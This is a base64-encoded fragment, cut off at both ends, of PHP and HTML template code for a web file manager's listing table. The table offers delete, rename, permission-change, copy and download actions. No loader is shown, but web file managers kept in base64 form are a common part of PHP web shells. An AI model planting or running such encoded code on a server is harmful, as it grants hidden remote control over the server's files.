J0aGVhZC13aGl0ZSI+DQogICAgICAgICAgICA8dHI+DQogICAgICAgICAgICAgICAgPD9waHAgaWYgKCFGTV9SRUFET05MWSk6ID8+DQogICAgICAgICAgICAgICAgICAgIDx0aCBzdHlsZT0id2lkdGg6MyUiIGNsYXNzPSJjdXN0b20tY2hlY2tib3gtaGVhZGVyIj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImN1c3RvbS1jb250cm9sIGN1c3RvbS1jaGVja2JveCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImNoZWNrYm94IiBjbGFzcz0iY3VzdG9tLWNvbnRyb2wtaW5wdXQiIGlkPSJqcy1zZWxlY3QtYWxsLWl0ZW1zIiBvbmNsaWNrPSJjaGVja2JveF90b2dnbGUoKSI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGNsYXNzPSJjdXN0b20tY29udHJvbC1sYWJlbCIgZm9yPSJqcy1zZWxlY3QtYWxsLWl0ZW1zIj48L2xhYmVsPg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgIDwvdGg+PD9waHAgZW5kaWY7ID8+DQogICAgICAgICAgICAgICAgPHRoPjw/cGhwIGVjaG8gbG5nKCdOYW1lJykgPz48L3RoPg0KICAgICAgICAgICAgICAgIDx0aD48P3BocCBlY2hvIGxuZygnU2l6ZScpID8+PC90aD4NCiAgICAgICAgICAgICAgICA8dGg+PD9waHAgZWNobyBsbmcoJ01vZGlmaWVkJykgPz48L3RoPg0KICAgICAgICAgICAgICAgIDw/cGhwIGlmICghRk1fSVNfV0lOICYmICEkaGlkZV9Db2xzKTogPz4NCiAgICAgICAgICAgICAgICAgICAgPHRoPjw/cGhwIGVjaG8gbG5nKCdQZXJtcycpID8+PC90aD4NCiAgICAgICAgICAgICAgICAgICAgPHRoPjw/cGhwIGVjaG8gbG5nKCdPd25lcicpID8+PC90aD48P3BocCBlbmRpZjsgPz4NCiAgICAgICAgICAgICAgICA8dGg+PD9waHAgZWNobyBsbmcoJ0FjdGlvbnMnKSA/PjwvdGg+DQogICAgICAgICAgICA8L3RyPg0KICAgICAgICAgICAgPC90aGVhZD4NCiAgICAgICAgICAgIDw/cGhwDQogICAgICAgICAgICAvLyBsaW5rIHRvIHBhcmVudCBmb2xkZXINCiAgICAgICAgICAgIGlmICgkcGFyZW50ICE9PSBmYWxzZSkgew0KICAgICAgICAgICAgICAgID8+DQogICAgICAgICAgICAgICAgPHRyPjw/cGhwIGlmICghRk1fUkVBRE9OTFkpOiA/Pg0KICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9Im5vc29ydCI+PC90ZD48P3BocCBlbmRpZjsgPz4NCiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJib3JkZXItMCIgZGF0YS1zb3J0PjxhIGhyZWY9Ij9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRwYXJlbnQpID8+Ij48aSBjbGFzcz0iZmEgZmEtY2hldnJvbi1jaXJjbGUtbGVmdCBnby1iYWNrIj48L2k+IC4uPC9hPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0iYm9yZGVyLTAiIGRhdGEtb3JkZXI+PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJib3JkZXItMCIgZGF0YS1vcmRlcj48L3RkPg0KICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9ImJvcmRlci0wIj48L3RkPg0KICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoIUZNX0lTX1dJTiAmJiAhJGhpZGVfQ29scykgeyA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJib3JkZXItMCI+PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0iYm9yZGVyLTAiPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgIDw/cGhwIH0gPz4NCiAgICAgICAgICAgICAgICA8L3RyPg0KICAgICAgICAgICAgICAgIDw/cGhwDQogICAgICAgICAgICB9DQogICAgICAgICAgICAkaWkgPSAzMzk5Ow0KICAgICAgICAgICAgZm9yZWFjaCAoJGZvbGRlcnMgYXMgJGYpIHsNCiAgICAgICAgICAgICAgICAkaXNfbGluayA9IGlzX2xpbmsoJHBhdGggLiAnLycgLiAkZik7DQogICAgICAgICAgICAgICAgJGltZyA9ICRpc19saW5rID8gJ2ljb24tbGlua19mb2xkZXInIDogJ2ZhIGZhLWZvbGRlci1vJzsNCiAgICAgICAgICAgICAgICAkbW9kaWZfcmF3ID0gZmlsZW10aW1lKCRwYXRoIC4gJy8nIC4gJGYpOw0KICAgICAgICAgICAgICAgICRtb2RpZiA9IGRhdGUoRk1fREFURVRJTUVfRk9STUFULCAkbW9kaWZfcmF3KTsNCiAgICAgICAgICAgICAgICAkZGF0ZV9zb3J0aW5nID0gc3RydG90aW1lKGRhdGUoIkYgZCBZIEg6aTpzLiIsICRtb2RpZl9yYXcpKTsNCiAgICAgICAgICAgICAgICAkZmlsZXNpemVfcmF3ID0gIiI7DQogICAgICAgICAgICAgICAgJGZpbGVzaXplID0gbG5nKCdGb2xkZXInKTsNCiAgICAgICAgICAgICAgICAkcGVybXMgPSBzdWJzdHIoZGVjb2N0KGZpbGVwZXJtcygkcGF0aCAuICcvJyAuICRmKSksIC00KTsNCiAgICAgICAgICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRwd3VpZCcpICYmIGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0Z3JnaWQnKSkgew0KICAgICAgICAgICAgICAgICAgICAkb3duZXIgPSBwb3NpeF9nZXRwd3VpZChmaWxlb3duZXIoJHBhdGggLiAnLycgLiAkZikpOw0KICAgICAgICAgICAgICAgICAgICAkZ3JvdXAgPSBwb3NpeF9nZXRncmdpZChmaWxlZ3JvdXAoJHBhdGggLiAnLycgLiAkZikpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICRvd25lciA9IGFycmF5KCduYW1lJyA9PiAnPycpOw0KICAgICAgICAgICAgICAgICAgICAkZ3JvdXAgPSBhcnJheSgnbmFtZScgPT4gJz8nKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgPz4NCiAgICAgICAgICAgICAgICA8dHI+DQogICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICghRk1fUkVBRE9OTFkpOiA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJjdXN0b20tY2hlY2tib3gtdGQiPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY3VzdG9tLWNvbnRyb2wgY3VzdG9tLWNoZWNrYm94Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iY2hlY2tib3giIGNsYXNzPSJjdXN0b20tY29udHJvbC1pbnB1dCIgaWQ9Ijw/cGhwIGVjaG8gJGlpID8+IiBuYW1lPSJmaWxlW10iIHZhbHVlPSI8P3BocCBlY2hvIGZtX2VuYygkZikgPz4iPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBjbGFzcz0iY3VzdG9tLWNvbnRyb2wtbGFiZWwiIGZvcj0iPD9waHAgZWNobyAkaWkgPz4iPjwvbGFiZWw+DQogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+PD9waHAgZW5kaWY7ID8+DQogICAgICAgICAgICAgICAgICAgIDx0ZCBkYXRhLXNvcnQ9PD9waHAgZWNobyBmbV9jb252ZXJ0X3dpbihmbV9lbmMoJGYpKSA/Pj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZpbGVuYW1lIj48YSBocmVmPSI/cD08P3BocCBlY2hvIHVybGVuY29kZSh0cmltKEZNX1BBVEggLiAnLycgLiAkZiwgJy8nKSkgPz4iPjxpIGNsYXNzPSI8P3BocCBlY2hvICRpbWcgPz4iPjwvaT4gPD9waHAgZWNobyBmbV9jb252ZXJ0X3dpbihmbV9lbmMoJGYpKSA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvYT48P3BocCBlY2hvKCRpc19saW5rID8gJyAmcmFycjsgPGk+JyAuIHJlYWRsaW5rKCRwYXRoIC4gJy8nIC4gJGYpIC4gJzwvaT4nIDogJycpID8+PC9kaXY+DQogICAgICAgICAgICAgICAgICAgIDwvdGQ+DQogICAgICAgICAgICAgICAgICAgIDx0ZCBkYXRhLW9yZGVyPSJhLTw/cGhwIGVjaG8gc3RyX3BhZCgkZmlsZXNpemVfcmF3LCAxOCwgIjAiLCBTVFJfUEFEX0xFRlQpOz8+Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gJGZpbGVzaXplOyA/Pg0KICAgICAgICAgICAgICAgICAgICA8L3RkPg0KICAgICAgICAgICAgICAgICAgICA8dGQgZGF0YS1vcmRlcj0iYS08P3BocCBlY2hvICRkYXRlX3NvcnRpbmc7Pz4iPjw/cGhwIGVjaG8gJG1vZGlmID8+PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCFGTV9JU19XSU4gJiYgISRoaWRlX0NvbHMpOiA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjw/cGhwIGlmICghRk1fUkVBRE9OTFkpOiA/PjxhIHRpdGxlPSJDaGFuZ2UgUGVybWlzc2lvbnMiIGhyZWY9Ij9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+JmFtcDtjaG1vZD08P3BocCBlY2hvIHVybGVuY29kZSgkZikgPz4iPjw/cGhwIGVjaG8gJHBlcm1zID8+PC9hPjw/cGhwIGVsc2U6ID8+PD9waHAgZWNobyAkcGVybXMgPz48P3BocCBlbmRpZjsgPz4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PD9waHAgZWNobyAkb3duZXJbJ25hbWUnXSAuICc6JyAuICRncm91cFsnbmFtZSddID8+PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+DQogICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0iaW5saW5lLWFjdGlvbnMiPjw/cGhwIGlmICghRk1fUkVBRE9OTFkpOiA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPSI8P3BocCBlY2hvIGxuZygnRGVsZXRlJyk/PiIgaHJlZj0iP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoRk1fUEFUSCkgPz4mYW1wO2RlbD08P3BocCBlY2hvIHVybGVuY29kZSgkZikgPz4iIG9uY2xpY2s9ImNvbmZpcm1EYWlsb2coZXZlbnQsICcxMDI4JywnPD9waHAgZWNobyBsbmcoJ0RlbGV0ZScpLicgJy5sbmcoJ0ZvbGRlcicpOyA/PicsJzw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmKSA/PicsIHRoaXMuaHJlZik7Ij4gPGkgY2xhc3M9ImZhIGZhLXRyYXNoLW8iIGFyaWEtaGlkZGVuPSJ0cnVlIj48L2k+PC9hPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPSI8P3BocCBlY2hvIGxuZygnUmVuYW1lJyk/PiIgaHJlZj0iIyIgb25jbGljaz0icmVuYW1lKCc8P3BocCBlY2hvIGZtX2VuYyhhZGRzbGFzaGVzKEZNX1BBVEgpKSA/PicsICc8P3BocCBlY2hvIGZtX2VuYyhhZGRzbGFzaGVzKCRmKSkgPz4nKTtyZXR1cm4gZmFsc2U7Ij48aSBjbGFzcz0iZmEgZmEtcGVuY2lsLXNxdWFyZS1vIiBhcmlhLWhpZGRlbj0idHJ1ZSI+PC9pPjwvYT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSB0aXRsZT0iPD9waHAgZWNobyBsbmcoJ0NvcHlUbycpPz4uLi4iIGhyZWY9Ij9wPSZhbXA7Y29weT08P3BocCBlY2hvIHVybGVuY29kZSh0cmltKEZNX1BBVEggLiAnLycgLiAkZiwgJy8nKSkgPz4iPjxpIGNsYXNzPSJmYSBmYS1maWxlcy1vIiBhcmlhLWhpZGRlbj0idHJ1ZSI+PC9pPjwvYT4NCiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9Ijw/cGhwIGVjaG8gbG5nKCdEaXJlY3RMaW5rJyk/PiIgaHJlZj0iPD9waHAgZWNobyBmbV9lbmMoRk1fUk9PVF9VUkwgLiAoRk1fUEFUSCAhPSAnJyA/ICcvJyAuIEZNX1BBVEggOiAnJykgLiAnLycgLiAkZiAuICcvJykgPz4iIHRhcmdldD0iX2JsYW5rIj48aSBjbGFzcz0iZmEgZmEtbGluayIgYXJpYS1oaWRkZW49InRydWUiPjwvaT48L2E+DQogICAgICAgICAgICAgICAgICAgIDwvdGQ+DQogICAgICAgICAgICAgICAgPC90cj4NCiAgICAgICAgICAgICAgICA8P3BocA0KICAgICAgICAgICAgICAgIGZsdXNoKCk7DQogICAgICAgICAgICAgICAgJGlpKys7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkaWsgPSA2MDcwOw0KICAgICAgICAgICAgZm9yZWFjaCAoJGZpbGVzIGFzICRmKSB7DQogICAgICAgICAgICAgICAgJGlzX2xpbmsgPSBpc19saW5rKCRwYXRoIC4gJy8nIC4gJGYpOw0KICAgICAgICAgICAgICAgICRpbWcgPSAkaXNfbGluayA/ICdmYSBmYS1maWxlLXRleHQtbycgOiBmbV9nZXRfZmlsZV9pY29uX2NsYXNzKCRwYXRoIC4gJy8nIC4gJGYpOw0KICAgICAgICAgICAgICAgICRtb2RpZl9yYXcgPSBmaWxlbXRpbWUoJHBhdGggLiAnLycgLiAkZik7DQogICAgICAgICAgICAgICAgJG1vZGlmID0gZGF0ZShGTV9EQVRFVElNRV9GT1JNQVQsICRtb2RpZl9yYXcpOw0KICAgICAgICAgICAgICAgICRkYXRlX3NvcnRpbmcgPSBzdHJ0b3RpbWUoZGF0ZSgiRiBkIFkgSDppOnMuIiwgJG1vZGlmX3JhdykpOw0KICAgICAgICAgICAgICAgICRmaWxlc2l6ZV9yYXcgPSBmbV9nZXRfc2l6ZSgkcGF0aCAuICcvJyAuICRmKTsNCiAgICAgICAgICAgICAgICAkZmlsZXNpemUgPSBmbV9nZXRfZmlsZXNpemUoJGZpbGVzaXplX3Jhdyk7DQogICAgICAgICAgICAgICAgJGZpbGVsaW5rID0gJz9wPScgLiB1cmxlbmNvZGUoRk1fUEFUSCkgLiAnJmFtcDt2aWV3PScgLiB1cmxlbmNvZGUoJGYpOw0KICAgICAgICAgICAgICAgICRhbGxfZmlsZXNfc2l6ZSArPSAkZmlsZXNpemVfcmF3Ow0KICAgICAgICAgICAgICAgICRwZXJtcyA9IHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKCRwYXRoIC4gJy8nIC4gJGYpKSwgLTQpOw0KICAgICAgICAgICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldHB3dWlkJykgJiYgZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRncmdpZCcpKSB7DQogICAgICAgICAgICAgICAgICAgICRvd25lciA9IHBvc2l4X2dldHB3dWlkKGZpbGVvd25lcigkcGF0aCAuICcvJyAuICRmKSk7DQogICAgICAgICAgICAgICAgICAgICRncm91cCA9IHBvc2l4X2dldGdyZ2lkKGZpbGVncm91cCgkcGF0aCAuICcvJyAuICRmKSk7DQogICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgJG93bmVyID0gYXJyYXkoJ25hbWUnID0+ICc/Jyk7DQogICAgICAgICAgICAgICAgICAgICRncm91cCA9IGFycmF5KCduYW1lJyA9PiAnPycpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICA/Pg0KICAgICAgICAgICAgICAgIDx0cj4NCiAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCFGTV9SRUFET05MWSk6ID8+DQogICAgICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9ImN1c3RvbS1jaGVja2JveC10ZCI+DQogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjdXN0b20tY29udHJvbCBjdXN0b20tY2hlY2tib3giPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJjaGVja2JveCIgY2xhc3M9ImN1c3RvbS1jb250cm9sLWlucHV0IiBpZD0iPD9waHAgZWNobyAkaWsgPz4iIG5hbWU9ImZpbGVbXSIgdmFsdWU9Ijw/cGhwIGVjaG8gZm1fZW5jKCRmKSA/PiI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGNsYXNzPSJjdXN0b20tY29udHJvbC1sYWJlbCIgZm9yPSI8P3BocCBlY2hvICRpayA/PiI+PC9sYWJlbD4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD48P3BocCBlbmRpZjsgPz4NCiAgICAgICAgICAgICAgICAgICAgPHRkIGRhdGEtc29ydD08P3BocCBlY2hvIGZtX2VuYygkZikgPz4+DQogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmaWxlbmFtZSI+DQogICAgICAgICAgICAgICAgICAgICAgICA8P3BocA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGluX2FycmF5KHN0cnRvbG93ZXIocGF0aGluZm8oJGYsIFBBVEhJTkZPX0VYVEVOU0lPTikpLCBhcnJheSgnZ2lmJywgJ2pwZycsICdqcGVnJywgJ3BuZycsICdibXAnLCAnaWNvJywgJ3N2ZycsICd3ZWJwJywgJ2F2aWYnKSkpOiA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCAkaW1hZ2VQcmV2aWV3ID0gZm1fZW5jKEZNX1JPT1RfVVJMIC4gKEZNX1BBVEggIT0gJycgPyAnLycgLiBGTV9QQVRIIDogJycpIC4gJy8nIC4gJGYpOyA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI8P3BocCBlY2hvICRmaWxlbGluayA/PiIgZGF0YS1wcmV2aWV3LWltYWdlPSI8P3BocCBlY2hvICRpbWFnZVByZXZpZXcgPz4iIHRpdGxlPSI8P3BocCBlY2hvIGZtX2VuYygkZikgPz4iPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZWxzZTogPz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iPD9waHAgZWNobyAkZmlsZWxpbmsgPz4iIHRpdGxlPSI8P3BocCBlY2hvICRmID8+Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpIGNsYXNzPSI8P3BocCBlY2hvICRpbWcgPz4iPjwvaT4gPD9waHAgZWNobyBmbV9jb252ZXJ0X3dpbihmbV9lbmMoJGYpKSA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2E+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8oJGlzX2xpbmsgPyAnICZyYXJyOyA8aT4nIC4gcmVhZGxpbmsoJHBhdGggLiAnLycgLiAkZikgLiAnPC9pPicgOiAnJykgPz4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICA8L3RkPg0KICAgICAgICAgICAgICAgICAgICA8dGQgZGF0YS1vcmRlcj0iYi08P3BocCBlY2hvIHN0cl9wYWQoJGZpbGVzaXplX3JhdywgMTgsICIwIiwgU1RSX1BBRF9MRUZUKTsgPz4iPjxzcGFuIHRpdGxlPSI8P3BocCBwcmludGYoJyVzIGJ5dGVzJywgJGZpbGVzaXplX3JhdykgPz4iPg0KICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZWNobyAkZmlsZXNpemU7ID8+DQogICAgICAgICAgICAgICAgICAgICAgICA8L3NwYW4+PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgPHRkIGRhdGEtb3JkZXI9ImItPD9waHAgZWNobyAkZGF0ZV9zb3J0aW5nOz8+Ij48P3BocCBlY2hvICRtb2RpZiA/PjwvdGQ+DQogICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICghRk1fSVNfV0lOICYmICEkaGlkZV9Db2xzKTogPz4NCiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48P3BocCBpZiAoIUZNX1JFQURPTkxZKTogPz48YSB0aXRsZT0iPD9waHAgZWNobyAnQ2hhbmdlIFBlcm1pc3Npb25zJyA/PiIgaHJlZj0iP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoRk1fUEFUSCkgPz4mYW1wO2NobW9kPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmKSA/PiI+PD9waHAgZWNobyAkcGVybXMgPz48L2E+PD9waHAgZWxzZTogPz48P3BocCBlY2hvICRwZXJtcyA/Pjw/cGhwIGVuZGlmOyA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48P3BocCBlY2hvIGZtX2VuYygkb3duZXJbJ25hbWUnXSAuICc6JyAuICRncm91cFsnbmFtZSddKSA/PjwvdGQ+DQogICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/Pg0KICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9ImlubGluZS1hY3Rpb25zIj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICghRk1fUkVBRE9OTFkpOiA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPSI8P3BocCBlY2hvIGxuZygnRGVsZXRlJykgPz4iIGhyZWY9Ij9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+JmFtcDtkZWw9PD9waHAgZWNobyB1cmxlbmNvZGUoJGYpID8+IiBvbmNsaWNrPSJjb25maXJtRGFpbG9nKGV2ZW50LCAxMjA5LCAnPD9waHAgZWNobyBsbmcoJ0RlbGV0ZScpLicgJy5sbmcoJ0ZpbGUnKTsgPz4nLCc8P3BocCBlY2hvIHVybGVuY29kZSgkZik7ID8+JywgdGhpcy5ocmVmKTsiPiA8aSBjbGFzcz0iZmEgZmEtdHJhc2gtbyI+PC9pPjwvYT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSB0aXRsZT0iPD9waHAgZWNobyBsbmcoJ1JlbmFtZScpID8+IiBocmVmPSIjIiBvbmNsaWNrPSJyZW5hbWUoJzw/cGhwIGVjaG8gZm1fZW5jKGFkZHNsYXNoZXMoRk1fUEFUSCkpID8+JywgJzw/cGhwIGVjaG8gZm1fZW5jKGFkZHNsYXNoZXMoJGYpKSA/PicpO3JldHVybiBmYWxzZTsiPjxpIGNsYXNzPSJmYSBmYS1wZW5jaWwtc3F1YXJlLW8iPjwvaT48L2E+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9Ijw/cGhwIGVjaG8gbG5nKCdDb3B5VG8nKSA/Pi4uLiINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBocmVmPSI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7Y29weT08P3BocCBlY2hvIHVybGVuY29kZSh0cmltKEZNX1BBVEggLiAnLycgLiAkZiwgJy8nKSkgPz4iPjxpIGNsYXNzPSJmYSBmYS1maWxlcy1vIj48L2k+PC9hPg0KICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+DQogICAgICAgICAgICAgICAgICAgICAgICA8YSB0aXRsZT0iPD9waHAgZWNobyBsbmcoJ0RpcmVjdExpbmsnKSA/PiIgaHJlZj0iPD9waHAgZWNobyBmbV9lbmMoRk1fUk9PVF9VUkwgLiAoRk1fUEFUSCAhPSAnJyA/ICcvJyAuIEZNX1BBVEggOiAnJykgLiAnLycgLiAkZikgPz4iIHRhcmdldD0iX2JsYW5rIj48aSBjbGFzcz0iZmEgZmEtbGluayI+PC9pPjwvYT4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPSI8P3BocCBlY2hvIGxuZygnRG93bmxvYWQnKSA/PiIgaHJlZj0iP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoRk1fUEFUSCkgPz4mYW1wO2RsPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmKSA/PiIgb25jbGljaz0iY29uZmlybURhaWxvZyhldmVudCwgMTIxMSwgJzw/cGhwIGVjaG8gbG5nKCdEb3dubG9hZCcpOyA/PicsJzw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmKTsgPz4nLCB0aGlzLmhyZWYpOyI+PGkgY2xhc3M9ImZhIGZhLWRvd25sb2FkIj48L2k+PC9hPg0KICAgICAgICAgICAgICAgICAgICA8L3RkPg0KICAgICAgICAgICAgICAgIDwvdHI+DQogICAgICAgICAgICAgICAgPD9waHANCiAgICAgICAgICAgICAgICBmbHVzaCgpOw0KICAgICAgICAgICAgICAgICRpaysrOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICBpZiAoZW1wdHkoJGZvbGRlcnMpICYmIGVtcHR5KCRmaWxlcykpIHsgPz4NCiAgICAgICAgICAgICAgICA8dGZvb3Q+DQogICAgICAgICAgICAgICAgICAgIDx0cj48P3BocCBpZiAoIUZNX1JFQURPTkxZKTogPz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PC90ZD48P3BocCBlbmRpZjsgPz4NCiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSI8P3BocCBlY2hvICghRk1fSVNfV0lOICYmICEkaGlkZV9Db2xzKSA/ICc2JyA6ICc0JyA/PiI+PGVtPjw/cGhwIGVjaG8gbG5nKCdGb2xkZXIgaXMgZW1wdHknKSA/PjwvZW0+PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgPC90cj4NCiAgICAgICAgICAgICAgICA8L3Rmb290Pg0KICAgICAgICAgICAgICAgIDw/cGhwDQogICAgICAgICAgICB9IGVsc2UgeyA/Pg0KICAgICAgICAgICAgICAgIDx0Zm9vdD4NCiAgICAgICAgICAgICAgICAgICAgPHRyPg0KICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJncmF5IiBjb2xzcGFuPSI8P3BocCBlY2hvICghRk1fSVNfV0lOICYmICEkaGlkZV9Db2xzKSA/IChGTV9SRUFET05MWSA/ICc2JyA6JzcnKSA6IChGTV9SRUFET05MWSA/ICc0JyA6ICc1JykgPz4iPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gbG5nKCdGdWxsU2l6ZScpLic6IDxzcGFuIGNsYXNzPSJiYWRnZSB0ZXh0LWJnLWxpZ2h0IGJvcmRlci1yYWRpdXMtMCI+Jy5mbV9nZXRfZmlsZXNpemUoJGFsbF9maWxlc19zaXplKS4nPC9zcGFuPicgPz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvIGxuZygnRmlsZScpLic6IDxzcGFuIGNsYXNzPSJiYWRnZSB0ZXh0LWJnLWxpZ2h0IGJvcmRlci1yYWRpdXMtMCI+Jy4kbnVtX2ZpbGVzLic8L3NwYW4+JyA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gbG5nKCdGb2xkZXInKS4nOiA8c3BhbiBjbGFzcz0iYmFkZ2UgdGV4dC1iZy1saWdodCBib3JkZXItcmFkaXVzLTAiPicuJG51bV9mb2xkZXJzLic8L3NwYW4+JyA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4NCiAgICAgICAgICAgICAgICAgICAgPC90cj4NCiAgICAgICAgICAgICAgICA8L3Rmb290Pg0KICAgICAgICAgICAgICAgIDw/cGhwIH0gPz4NCiAgICAgICAgPC90YWJsZT4NCiAgICA8L2Rpdj4NCg0KICAgIDxkaXYgY2xhc3M9InJvdyI+DQogICAgICAgIDw/cGhwIGlmICghRk1fUkVBRE9OTFkpOiA/Pg0KICAgICAgICA8ZGl2IGNsYXNzPSJjb2wteHMtMTIgY29sLXNtLTkiPg0KICAgICAgICAgICAgPHVsIGNsYXNzPSJsaXN0LWlubGluZSBmb290ZXItYWN0aW9uIj4NCiAgICAgICAgICAgICAgICA8bGkgY2xhc3M9Imxpc3QtaW5saW5lLWl0ZW0iPiA8YSBocmVmPSIjL3NlbGVjdC1hbGwiIGNsYXNzPSJidG4gYnRuLXNtYWxsIGJ0bi1vdXRsaW5lLXByaW1hcnkgYnRuLTIiIG9uY2xpY2s9InNlbGVjdF9hbGwoKTtyZXR1cm4gZmFsc2U7Ij48aSBjbGFzcz0iZmEgZmEtY2hlY2stc3F1YXJlIj48L2k+IDw/cGhwIGVjaG8gbG5nKCdTZWxlY3RBbGwnKSA/PiA8L2E+PC9saT4NCiAgICAgICAgICAgICAgICA8bGkgY2xhc3M9Imxpc3QtaW5saW5lLWl0ZW0iPjxhIGh